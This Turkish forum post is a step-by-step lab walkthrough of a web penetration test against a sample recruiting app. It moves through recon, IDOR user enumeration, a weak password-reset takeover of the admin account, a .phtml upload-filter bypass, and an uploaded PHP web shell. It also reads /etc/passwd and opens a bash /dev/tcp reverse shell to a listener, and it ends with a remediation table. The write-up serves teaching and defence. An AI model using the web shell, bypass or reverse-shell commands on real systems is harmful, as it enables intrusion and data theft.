Hoşgeldin Misafir

#PTHM-Yönlendirilmiş Sızma Testi:WEB

CW-ommah

17 Ocak 2022
905 Mesaj
TIM Görevleri
1

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Allah’ın Rahmeti Ve Bereketi Üzerinize Olsun
Selamun aleyküm dostlarım. Bu makalemiz ve bundan sonra gelecek olan makalelerimizde bir pentest uzmanı gibi davranacağız SOC makalelerimizde bittiğine göre devam edelim. Bu makalemizde
  • Keşif ve bilgi toplama (Reconnaissance and Enumeration) Uygulamanın dışarıya hangi bilgileri sunduğunu keşfetmek
  • Güvensiz Doğrudan Nesne Referansı (IDOR) — Başka kullanıcılara ait verilere erişmek
  • Zayıf parola sıfırlama mekanizması — Hatalı bir parola sıfırlama sistemi üzerinden hesap ele geçirmek
  • Yönetici paneline erişim — Normal bir kullanıcıdan yönetici yetkilerine yükselmek
  • Uzaktan kod çalıştırma (RCE) — Yönetici işlevlerini kullanarak sunucu üzerinde komut çalıştırmak
Keşif ve Sayım
Uygulamaya dokunmadan önce, neyle karşı karşıya olduğumuzu anlamamız gerekiyor. Her sızma testinde ilk aşama her zaman keşif (reconnaissance) aşamasıdır; yani hedef hakkında mümkün olduğunca fazla bilgi toplamak ve varsayımlarda bulunmamaktır.
Değerlendirmek için işe alındığınız bir binaya, önce dışını incelemeden, kapıları kontrol etmeden ve tabelaları okumadan girmezsiniz. Aynı prensip burada da geçerlidir.

Port Tarama (Port Scanning)

Hedef sistemde hangi servislerin çalıştığını keşfederek başlayalım. Bir terminal açın ve aşağıdaki Nmap taramasını çalıştırın:
Kod:
root@CW-ommah:~# nmap -sV -sC -p- 10.114.180.2
Starting Nmap 7.80 ( https://nmap.org ) at 2026-03-27 16:40 GMT
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.114.180.2
Host is up (0.00015s latency).
Not shown: 65531 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.58 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: RecruitX \xE2\x80\x94 Home
3306/tcp open  mysql   MySQL (unauthorized)
8080/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 06:B2:88:D5:C7:67 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.54 seconds

Dört adet açık port olduğunu fark edebiliriz.

  • 22 numaralı port SSH servisidir; ilerleyen aşamalarda kimlik bilgileri elde edersek işimize yarayabilir.
  • 80 numaralı port, Apache üzerinde çalışan hedef web uygulamasıdır.
  • 3306 numaralı port, MySQL servisidir ve uygulamanın arka planda bir MySQL veritabanı kullandığını gösterir.
  • 8080 numaralı port ise Apache’nin varsayılan sayfasını göstermektedir.
Bu oldukça değerli bir bilgidir; çünkü uygulamanın büyük ihtimalle SQL sorguları oluşturduğunu anlıyoruz. Bu da, kullanıcı girdilerinin işlenmesindeki zafiyetlerin SQL ile ilgili güvenlik açıklarına yol açabileceği anlamına gelir.

Uygulamayı Keşfetme (Exploring the Application)

Tarayıcınızı açın ve http://10.114.180.2 adresine gidin. RecruitX’in açılış sayfasını görmelisiniz. Herhangi bir şeye tıklamadan önce, sayfada neler bulunduğunu dikkatlice inceleyin.
Bir gezinme çubuğunda (navigation bar) şu bağlantıları göreceksiniz:

  • Home
  • Jobs
  • Login
  • Register
Ayrıca alt kısımda (footer) RecruitX v2.4” ifadesi yer alıyor.
Şimdi HTTP yanıt başlıklarını (HTTP response headers) da kontrol edelim:

1780042535404.png
Kod:
root@CW-ommah:~# curl -I http://10.114.180.2
HTTP/1.1 200 OK
Date: Fri, 27 Mar 2026 16:43:09 GMT
Server: Apache/2.4.58 (Ubuntu)
Set-Cookie: PHPSESSID=f05vg10cq16k3kq5vpurgpioqb; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=UTF-8

Başlıklar (headers), sunucunun Apache 2.4.58 sürümünü çalıştırdığını doğruluyor.
PHPSESSID çerezi (cookie) ise PHP oturum yönetiminin kullanıldığını gösteriyor.
Artık kullanılan teknoloji yığınını (technology stack) biliyoruz:

  • Apache
  • PHP
  • MySQL
Yani klasik bir LAMP yapılandırmasıyla karşı karşıyayız.

Dizin Keşfi (Directory Enumeration)

Şimdi, gezinme çubuğunda görünenlerin dışında hangi dizin ve dosyaların bulunduğunu keşfedelim. Bunun için yaygın bir kelime listesiyle birlikte Gobuster kullanacağız:
Kod:
root@cw-ommah:~# gobuster dir -u http://10.114.180.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.114.180.2
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 277]
/index.php            (Status: 200) [Size: 21600]
/profile.php          (Status: 302) [Size: 0]
/login.php            (Status: 200) [Size: 15107]
/jobs.php             (Status: 200) [Size: 20288]
/uploads              (Status: 301) [Size: 314]
/data                 (Status: 403) [Size: 277]
/admin                (Status: 301) [Size: 312]
/test                 (Status: 200) [Size: 705]
/includes             (Status: 301) [Size: 315]
/api                  (Status: 301) [Size: 310]
/logout.php           (Status: 302) [Size: 0]
/config               (Status: 301) [Size: 313]
/dashboard.php        (Status: 302) [Size: 0]
/register.php         (Status: 200) [Size: 17384]
/reset.php            (Status: 200) [Size: 14408]
/.php                 (Status: 403) [Size: 277]
Progress: 175328 / 175330 (100.00%)
===============================================================
Finished
===============================================================
Bu çıktı bize oldukça fazla bilgi veriyor. Önemli keşifleri tek tek inceleyelim:

  • /admin — Bir yönetici paneli mevcut, ancak giriş sayfasına yönlendiriyor. Buna erişebilmek için kimlik bilgilerine ihtiyacımız olacak.
  • /api — Bir API uç noktası bulunuyor. API’ler çoğu zaman, ön yüzün göstermediği verileri erişilebilir hale getirir.
  • /reset.php — Bir parola sıfırlama sayfası mevcut. Parola sıfırlama mekanizmaları sıklıkla güvensiz şekilde uygulanır.
  • /uploads — Bir dosya yükleme dizini bulunuyor. Eğer dosya yükleyebilirsek, bu durum uzaktan kod çalıştırmaya (RCE) giden bir yol olabilir.
  • /profile.php ve /dashboard.php — Bu sayfalar kimlik doğrulaması gerektiriyor. Yani erişebilmek için giriş yapmış olmamız gerekiyor.

Bir Hesapla Giriş Yapma (Registering an Account)

Birçok sayfa kimlik doğrulaması gerektiriyor. Bu yüzden uygulamanın özelliklerini keşfedebilmek için bir hesapla giriş yapalım.
http://10.114.180.2/login.php adresine gidin ve aşağıdaki bilgilerle oturum açın:

Giriş yaptıktan sonra uygulama sizi /dashboard.php sayfasına yönlendirecektir. Burada:
  • Açık pozisyonlar (Open Positions)
  • Toplam başvurular (Total Applications)
  • İş ilanlarını görüntüleme seçeneği (Browse Jobs)
gibi bilgilerin yer aldığı bir kontrol paneli göreceksiniz.
Sayfalar arasında gezinirken, özellikle kendi profilinizi görüntülerken URL yapısına dikkat edin.

1780042665893.png

API’yi İnceleme (Exploring the API)

Daha önce Gobuster taraması sırasında /api adlı bir uç nokta keşfetmiştik. Şimdi bu endpoint’in dışarıya hangi bilgileri sunduğunu inceleyelim:
Kod:
root@CW-ommah:~# curl http://10.114.180.2/api/
{"endpoints":["\/api\/user","\/api\/jobs","\/api\/applications"]}

IDOR "Insecure Direct Object References" (Güvensiz Doğrudan Nesne Referansları)
Artık doğrulanmış (authenticated) bir oturumumuz ve uygulamanın yapısına dair bir bilgimiz var. Şimdi güvenlik açıklarını incelemeye başlayabiliriz. Web uygulamalarında en yaygın ve sıklıkla gözden kaçan zafiyetlerden biri Güvensiz Doğrudan Nesne Referansı (Insecure Direct Object Reference - IDOR) açığıdır.
Bunu bir otel benzetmesiyle düşünün: Bir otelde kaldığınızı ve oda anahtarınızın sadece oda numaranız (örneğin 104) olduğunu varsayın. Ne elektronik bir kilit var ne de ek bir doğrulama; sadece numara. Sizi 105 numaralı odaya gitmekten ve kapıyı açmaktan alıkoyan hiçbir şey yoksa, bu durum aslında bir IDOR açığına benzer.
IDOR, bir uygulamanın nesnelere (kullanıcı profilleri, belgeler, siparişler vb.) erişmek için tahmin edilebilir bir tanımlayıcı kullanması ve bu nesneye erişen kullanıcının yetkisini yeterince doğrulamamasıdır.

IDOR Açığını Bulma (Finding the IDOR)

Test kullanıcısı olarak giriş yaptıktan sonra, dashboard ekranının sağ üst köşesinde görünen kullanıcı adına (bu durumda Test) tıklayarak profil sayfanıza gidin.
Tarayıcınızın adres çubuğundaki URL’yi dikkatlice inceleyin:
Kod:
http://10.114.180.2/profile.php?id=6
Uygulama, profilinizi sayısal bir id parametresi üzerinden referans alıyor. Sizin hesabınız altıncı oluşturulan hesap olduğu için ID’niz 6.
Burada bir sızma testi uzmanının kendine sorması gereken en kritik soru şudur: Bu sayıyı değiştirirsem ne olur?

Zafiyeti Test Etme (Testing the Vulnerability)

Şimdi id parametresini 1 olarak değiştirelim ve ne olacağını gözlemleyelim. Bunu doğrudan tarayıcı üzerinden veya curl ile yapabilirsiniz. Tarayıcıda şu URL’yi açmak yeterlidir:
Bu isteği yaptığınızda sistem şu yanıtı döndürüyor:

1780042730948.png

Çerezleri (Cookies) Çıkarmak

Bu alıştırmada, oturum çerezine (session cookie) ihtiyacınız olacak. Bunu almak için sayfanın herhangi bir yerine sağ tıklayıp Inspect” (İncele) seçeneğini seçin. Aşağıda gösterildiği gibi:
1780042751372.png
Storage (Depolama) sekmesine gidin, ardından Cookies (Çerezler) bölümünü genişletin ve http://10.114.180.2 seçeneğini tıklayın.
Burada tüm çerezleri listelenmiş olarak göreceksiniz. PHPSESSID çerezini bulun ve değerini kopyalayın.

curl ile İsteği Test Etme

Neler döndüğünü tam olarak görebilmek için curl kullanabiliriz. İstek gönderirken oturum çerezini de eklediğinizden emin olun; bunun için PHPSESSID= kısmına kendi değeriniz yazılmalıdır.
Kod:
root@CW-ommah:~# curl -s -b "PHPSESSID=gs5ngd6duukc09agpdnj1o9tt2" "http://10.114.180.2/profile.php?id=1" | grep "fw-semibold"
                        <div class="fw-semibold mt-1">Sarah Mitchell</div>
                        <div class="fw-semibold mt-1 mono">[email protected]</div>
Az önce kullanıcı ID 1 olan Sarah Mitchell’in profilini görüntüledik. Kendisi bir yöneticidir (administrator). Uygulama, bu profili görüntüleme yetkisine sahip olup olmadığımızı kontrol etmedi. Sadece id değerini aldı, veritabanında sorguladı ve sonucu döndürdü.
Şimdi daha önce keşfettiğimiz API uç noktasının da aynı soruna sahip olup olmadığını kontrol edelim ve hatta bunun bir oturum çerezi (session cookie) bile gerektirip gerektirmediğine bakalım.
Kod:
root@tryhackme:~# curl -s "http://10.114.180.2/api/user?id=1"
{"id":1,"name":"Sarah Mitchell","email":"[email protected]","role":"administrator","created":"2026-03-24"}
root@tryhackme:~# curl -s "http://10.114.180.2/api/user?id=2"
{"id":2,"name":"James Crawford","email":"[email protected]","role":"hiring_manager","created":"2026-03-24"}
API, web sayfasından bile daha fazla bilgi ifşa ediyor. Kullanıcının adı, e-posta adresi, rolü ve hesap oluşturulma tarihi gibi bilgileri yapılandırılmış JSON formatında döndürüyor.
id parametresini 1’den 5’e kadar artırarak sistemdeki tüm kullanıcıları tek tek listeleyebiliriz.

Neden Bu Önemli (Why This Matters)

IDOR zafiyetleri, web uygulamalarında en sık görülen güvenlik açıkları arasında sürekli olarak üst sıralarda yer alır. Bunun temel nedeni, geliştiricilerin kullanıcıların yalnızca kendi kaynaklarına erişeceğini varsaymasıdır. Ancak bir kullanıcı URL parametresini değiştirdiği anda bu varsayım geçerliliğini yitirir.

Çözüm aslında oldukça basittir: Sunucu, kimliği doğrulanmış kullanıcının (authenticated user) gerçekten talep edilen nesneye erişim yetkisi olup olmadığını doğrulamalıdır. Ancak pratikte bu kontrol çoğu zaman eksik bırakılır veya tamamen unutulur.

Zayıf Parola Sıfırlama
Artık yöneticinin e-posta adresini biliyoruz: [email protected]. Bir sonraki hedefimiz onun hesabını ele geçirmek. Şifresini tahmin etmeye çalışmak yerine (bu uzun sürebilir ve hesap kilitlemelerini tetikleyebilir), parola sıfırlama mekanizmasını inceleyelim. Parola sıfırlama akışları, web uygulamalarında en sık bozulan özelliklerden biridir çünkü güvenli şekilde uygulanmaları karmaşıktır ve geliştiriciler genellikle kestirme yollar kullanır.

Sıfırlama Akışını Anlama (Understanding the Reset Flow)

http://10.114.180.2/reset.php adresine gidin. Burada sizden bir e-posta adresi isteyen basit bir form göreceksiniz. Öncelikle sürecin nasıl çalıştığını anlamak için kendi hesabımızla test edelim. Forma [email protected] adresini girin ve gönderin.
Bu bizim ilk önemli bulgumuz. Doğru şekilde tasarlanmış bir uygulamada, sıfırlama token’ı kullanıcıya e-posta ile gönderilir ve kesinlikle ekranda gösterilmez. Ancak bu uygulama token’ı doğrudan yanıt içinde (response) göstermektedir. Bu durum tek başına kendi şifremizi sıfırlamamıza izin verebilir, ancak asıl kritik soru şudur: Token kullanıcıya nasıl ve hangi şekilde paylaşılıyor?

Token Analizi (Analysing the Token)

Kendi hesabınız için reset formunu birkaç kez daha göndererek bazı token’lar oluşturalım ve desen olup olmadığını inceleyelim:
  • Deneme 1: 784512
  • Deneme 2: 291037
  • Deneme 3: 503648
Bu token’lar 6 haneli sayılardan oluşuyor. İlk bakışta rastgele gibi görünseler de aslında oldukça sınırlı bir aralığa sahipler; toplamda yalnızca 1.000.000 olası değer var (000000 ile 999999 arası). Bu, zayıf bir token uzayıdır.
Ancak 1 milyon değeri kaba kuvvet (brute-force) ile denemek yine de zaman alabilir. Bu yüzden daha dikkatli bakarak yöneticinin token’ını sıfırlamayı deneyelim. Bunun için [email protected] e-posta adresini kullanacağız ve şu sonucu elde edeceğiz:

1780042852541.png

Yöneticinin Parolasını Sıfırlama (Resetting the Administrator's Password)

Artık ihtiyacımız olan her şeye sahibiz. Şimdi Sarah Mitchell’in şifresini sıfırlamak için token’ı kullanalım. Reset URL’sine gidin ve sizden yeni bir parola girmeniz istenecektir:
1780042866824.png
Şimdi yeni parolayla giriş yaparak işlemi doğrulayalım.
1780042879608.png

Artık yönetici hesabıyla giriş yapmış durumdayız. Şimdiye kadar oluşan zinciri anlamak için bir an durup süreci değerlendirelim:
IDOR açığını kullanarak yöneticinin e-posta adresini keşfettik, ardından token’ları doğrudan yanıt içinde açığa çıkaran zayıf parola sıfırlama mekanizmasını istismar ettik. Bu zafiyetlerin hiçbiri tek başına yönetici erişimi sağlamazdı; ancak birleştirildiklerinde ciddi bir etkiye yol açtılar.

Ne Yanlış Gitti (What Went Wrong)

Parola sıfırlama mekanizmasında üç ayrı güvenlik açığı bulunuyordu:
  • Token’ın yanıtta görüntülenmesi: Token yalnızca hesap sahibinin e-posta adresine gönderilmeliydi, ekranda asla gösterilmemeliydi.
  • Zayıf token üretimi: Altı haneli sayısal bir token, küçük bir anahtar uzayına sahiptir ve kaba kuvvet (brute-force) saldırılarına karşı savunmasızdır.
  • Oran sınırlaması (rate limiting) yokluğu: Uygulama, parola sıfırlama istekleri veya token tahmin denemeleri için herhangi bir limit uygulamıyordu.

Admin Paneline Erişim
Artık Sarah Mitchell olarak, yani uygulamanın yöneticisi olarak giriş yapmış durumdayız. Daha önce keşif (enumeration) sırasında Gobuster, /admin adında bir yol bulmuştu ve kimliği doğrulanmamış kullanıcıları giriş sayfasına yönlendiriyordu.
Şimdi yönetici kimlik bilgilerimiz olduğuna göre, bu kapının arkasında ne olduğunu inceleyelim.

Admin Panelini Keşfetme (Exploring the Admin Dashboard)

Sarah Mitchell olarak giriş yaptığınız tarayıcıda http://10.114.180.2/admin adresine gidin.
Admin paneli, birkaç yönetim sayfasını açığa çıkarır. Bunların çoğu standart yönetim işlevleridir, ancak biri hemen dikkat çeker:
Kod:
/admin/upload.php
Bir dosya yükleme (file upload) özelliğinin yönetici elinde bulunması oldukça güçlü bir yetenektir ve bir sızma testi uzmanı açısından bu, uzaktan kod çalıştırmaya (Remote Code Execution - RCE) giden potansiyel bir yol anlamına gelir.

1780042939306.png

Yükleme Fonksiyonunu İnceleme (Investigating the Upload Function)

Yükleme sayfasını inceleyelim. Upload butonuna sağ tıklayın ve Inspect (İncele) seçeneğine tıklayın; böylece istemci tarafı kodunu (client-side code) inceleyebilirsiniz:
1780042952647.png

Birçok önemli detayı fark edebiliriz. Formun PDF, DOCX ve resim dosyalarını kabul ettiği görülüyor. Dosya girişindeki accept özelliği dosya türlerini sınırlar, ancak bu yalnızca istemci tarafında (client-side) bir kısıtlamadır. Bu kısıtlama tarayıcı tarafından uygulanır, fakat doğrudan bir HTTP isteği gönderilerek istenilen dosya türü yüklenebilir. Sayfa ayrıca yükleme hedef dizinini de ortaya çıkarır: /uploads/documents/.

Yükleme Kısıtlamalarını Test Etme (Testing the Upload Restrictions)

Sunucunun dosya türü kısıtlamalarını gerçekten uygulayıp uygulamadığını test edelim. Öncelikle, uygulamanın nasıl tepki verdiğini görmek için zararsız bir metin dosyası yüklemeyi deneyelim. Sistemimizde random bir text dosyası oluşturarak bunu test edelim
Kod:
root@CW-ommah:~# echo "This is a test file" > test.txt
Dosya oluşturulduktan sonra bunu admin paneline yükleyin. Yükleme sayfasını açın, dosya giriş alanına sağ tıklayın ve Inspect (İncele) seçeneğini seçin. HTML içinde accept özniteliğini (attribute) bulun ve silerek (backspace ile) kaldırın; böylece tarayıcı artık dosya türlerini kısıtlamayacaktır. Şimdi dosyanızı doğrudan seçip yükleyin ve istemci tarafı kısıtlamayı (client-side restriction) aşarak dosyayı yükleyin.

1780042979870.png
Sunucu .txt dosyasını reddetti.
1780042989991.png
Yani sunucu tarafında (server-side) bir doğrulama mevcut. Peki bu doğrulama ne kadar kapsamlı? Sunucunun yalnızca dosya uzantısını mı kontrol ettiğini yoksa dosya içeriğini de denetleyip denetlemediğini test edelim. Bunun için aşağıdaki komutu kullanarak bir PHP dosyası oluşturalım:
Kod:
root@CW-ommah:~# echo '<?php echo "PHP is executing"; ?>' > test.php
Dosya oluşturulduktan sonra tekrar yüklemeyi deneyin. Hâlâ reddediliyor. Görünüşe göre uygulama, dosyanın son uzantısını kontrol ediyor.
Şimdi Apache’nin çoğu zaman PHP olarak işlediği .phtml uzantısını kullanarak yaygın bir atlatma (bypass) yöntemini deneyelim:
Kod:
root@tryhackme:~# echo '<?php echo "PHP is executing"; ?>' > test.phtml
.phtml uzantısı kabul edildi. Uygulamanın dosya türü filtresi .php uzantısını engelliyor ancak PHP’nin işleyebildiği alternatif uzantıları hesaba katmıyor. Bu durum yaygın bir hatadır; geliştiriciler genellikle “tehlikeli” uzantılardan oluşan bir kara liste (blocklist) oluşturur, ancak sunucunun yine PHP olarak yorumladığı daha az yaygın uzantıları gözden kaçırırlar.

1780043040569.png
Yüklediğimiz dosyanın gerçekten çalışıp çalışmadığını doğrulamak için şu adresi ziyaret edelim:
Kod:
http://SiTE_IP/uploads/documents/test.phtml
1780043077732.png
Sunucu PHP kodunu çalıştırdı ve çıktıyı döndürdü. Böylece sunucuya PHP dosyası yükleyip çalıştırabildiğimizi doğrulamış olduk.

Uzaktan Kod yürütme
Sunucuya PHP dosyaları yükleyebildiğimizi ve sunucunun bunları çalıştırdığını doğrulamış olduk. Bu, sızma testinde önceki tüm adımların bir araya geldiği noktadır. Hiçbir şeyle başladık; ne kimlik bilgimiz ne de uygulama hakkında bir bilgimiz vardı. Keşif (enumeration), IDOR zafiyetinin istismarı, parola sıfırlama mekanizmasının kötüye kullanılması ve admin paneline erişim sayesinde, artık sunucu üzerinde rastgele komut çalıştırabilecek bir konuma ulaştık.

Web Shell Oluşturma

Web shell, HTTP parametreleri aracılığıyla komutları kabul eden ve bunları sunucu üzerinde çalıştıran küçük bir betiktir. Basit bir tane oluşturalım ve bunu shell.phtml olarak kaydedelim:

Kod:
<?php
if(isset($_GET['cmd'])) {
    echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
}
?>

Bu betik, URL içinde bir cmd parametresi olup olmadığını kontrol eder. Eğer varsa, bu değeri shell_exec() fonksiyonuna iletir; bu fonksiyon komutu işletim sistemi üzerinde çalıştırır ve çıktısını döndürür.
Dosyayı admin paneli üzerinden şu adrese yükleyin:http://10.113.141.24/admin/upload.php

Komutları Çalıştırma (Executing Commands)

Kod çalıştırma yeteneğimizin olduğunu doğrulamak için basit bir komut çalıştıralım:
Kod:
root@CW-ommah:~# curl "http://10.113.141.24/uploads/documents/shell.phtml?cmd=whoami"
<pre>www-data</pre>
root@CW-ommah:~# curl "http://10.113.141.24/uploads/documents/shell.phtml?cmd=id"
<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre>
Artık uzaktan kod çalıştırma (RCE) elde etmiş durumdayız. Komutlar, Ubuntu üzerinde Apache web sunucusunun varsayılan kullanıcısı olan www-data yetkileriyle çalışıyor. Şimdi sistem hakkında daha fazla bilgi toplayalım:
Kod:
root@CW-ommah:~# curl "http://10.113.141.24/uploads/documents/shell.phtml?cmd=hostname"
<pre>example-hostame</pre>
root@CW-ommah:~# curl "http://10.113.141.24/uploads/documents/shell.phtml?cmd=uname+-a"
<pre>Linux example-hostame 6.8.0-1017-aws #18-Ubuntu SMP Wed Oct  2 20:17:03 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux</pre>
Artık hostname’i, kernel sürümünü görebiliyoruz ve sistem üzerinde istediğimiz herhangi bir komutu çalıştırabiliyoruz.

Hassas Dosyaları Okuma (Reading Sensitive Files)
Sunucudaki dosyaları okuyabildiğimize göre, iyi bir ilk adım kullanıcıları listeleyen sistem dosyalarını kontrol etmektir. Linux’ta /etc/passwd dosyası temel hesap bilgilerini içerir:
Kod:
root@CW-ommah:~# curl "http://10.113.141.24/uploads/documents/shell.phtml?cmd=cat+/etc/passwd" | grep -v "nologin"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2088  100  2088    0     0   398k      0 --:--:-- --:--:-- --:--:--  407k
<pre>root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
pollinate:x:111:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
dhcpcd:x:114:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
mysql:x:115:123:MySQL Server,,,:/nonexistent:/bin/false
</pre>
Web shell’imizi kullanarak /etc/passwd dosyasına eriştik ve sistem kullanıcılarını tespit ettik. Gerçek bir senaryoda bu seviyedeki erişim, yapılandırma dosyalarını daha fazla incelememize ve veritabanı kimlik bilgilerini elde ederek uygulamanın arka uç verilerine tam erişim sağlamamıza imkân tanır.

Ters Kabuk Elde Etme (Obtaining a Reverse Shell)

Web shell çalışıyor olsa da sınırlıdır; her komut ayrı bir HTTP isteği olarak gönderilir, etkileşimli bir oturum yoktur ve özel karakterler içeren karmaşık komutları URL parametreleri üzerinden iletmek zor olabilir. Bu yüzden bunu gerçek bir ters kabuk (reverse shell) ile geliştirelim.
Kod:
root@CW-ommah:~# nc -lvnp 4444
listening on [any] 4444 ...
İkinci bir terminalde, ters kabuğu (reverse shell) web shell üzerinden tetikleyin. Özel karakterlerle ilgili sorunları önlemek için payload’u URL-encode edeceğiz:
Kod:
root@tryhackme:~# curl "http://10.113.141.24/uploads/documents/shell.phtml?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.113.74.142/4444+0>%261'"
Dinleyici (listener) terminaline geri dönün:
Kod:
root@tryhackme:~# nc -lvnp 4444
listening on [any] 4444 ...
Connection received on 10.113.74.142 48268
www-data@example-hostame:/var/www/html/uploads/documents$ whoami
www-data
www-data@example-hostame:/var/www/uploads/documents$
Artık hedef sunucu üzerinde etkileşimli bir kabuk elde etmiş durumdayız. Buradan itibaren bir sızma testi uzmanı genellikle yerel keşif (local enumeration) ve yetki yükseltme (privilege escalation) aşamalarına geçer.

Saldırı Zinciri
Bir adım geri çekilip izlediğimiz tüm yolu inceleyelim. Bir sızma testi raporunda, müşteriye her bir zafiyetin genel ele geçirmeye nasıl katkıda bulunduğunu gösteren tüm zinciri belgeleyersiniz. İşte bizim zincirimiz:

  • Keşif (Enumeration): Uygulamanın teknoloji yığınını (Apache, PHP, MySQL), dizin yapısını, bir API uç noktasını, parola sıfırlama sayfasını, uploads dizinini ve bir admin panelini keşfettik.
  • IDOR : /profile.php?id= parametresi ve /api/user?id= endpoint’i, yöneticinin adı ve e-posta adresi dahil olmak üzere tüm kullanıcıları listelememize izin verdi.
  • Zayıf Parola Sıfırlama : Sıfırlama mekanizması token’ları doğrudan HTTP yanıtında gösteriyordu; bu sayede yönetici için token üreterek şifresini değiştirebildik.
  • Admin Paneline Erişim : Ele geçirilmiş yönetici hesabını kullanarak admin paneline eriştik ve eksik bir uzantı engelleme listesi bulunan dosya yükleme fonksiyonu keşfettik.
  • Uzaktan Kod Çalıştırma : Filtreyi aşmak için .phtml uzantısını kullanarak bir PHP web shell yükledik. Bu bize sunucu üzerinde komut çalıştırma ve tam ters kabuk (reverse shell) elde etme yolunu açtı.
Bu zincirdeki hiçbir zafiyet tek başına sunucunun tamamen ele geçirilmesine yol açmadı. IDOR açığı kullanıcı bilgilerini sızdırdı ancak doğrudan erişim sağlamadı. Parola sıfırlama mekanizması istismar edilebilirdi ancak yalnızca yöneticinin e-posta adresini zaten bildiğimiz için işe yaradı. Dosya yükleme filtresinin bir atlatma yöntemi vardı, ancak buna ulaşmak için yönetici kimlik bilgilerine ihtiyaç duyduk. Tam sunucu ele geçirilmesine yol açan şey, bu zayıflıkların birleşimiydi.

Düzeltme (Remediation) Özeti

Eğer bu sızma testi için bir rapor yazıyor olsaydınız, her bir bulguya yönelik aşağıdaki düzeltme önerilerini sunardınız:
ZafiyetÖnem DerecesiDüzeltme (Remediation)
Kullanıcı profilleri ve API üzerinde IDORYüksekHer istekte sunucu taraflı yetkilendirme kontrolleri uygulayın. Kimliği doğrulanmış kullanıcının talep edilen kaynağa erişim izni olup olmadığını doğrulayın.
Parola sıfırlama token’ının yanıtta açığa çıkmasıKritikSıfırlama token’larını yalnızca e-posta üzerinden gönderin. Sayfada sadece genel bir onay mesajı gösterin. En az 32 karakter uzunluğunda kriptografik olarak rastgele token’lar kullanın.
Eksik dosya uzantısı kara listesiKritikKara liste (blocklist) yerine izin listesi (allowlist) kullanın. Sadece belirli ve beklenen dosya uzantılarına izin verin. Uzantıya ek olarak dosya içeriğini (MIME tipi) doğrulayın. Yüklenen dosyaları web kök dizininin dışında saklayın.
API uç noktası ifşasıOrtaAPI indeks uç noktasını kaldırın veya yalnızca kimliği doğrulanmış yöneticilere erişilebilir hale getirin. Dahili route yapısını kimliği doğrulanmamış kullanıcılara açmayın.
1780043771711.pngOkuduğunuz için teşekkür ederim


CW-Ommah
Bug Researchers Tim Sundu...

1780043820255.png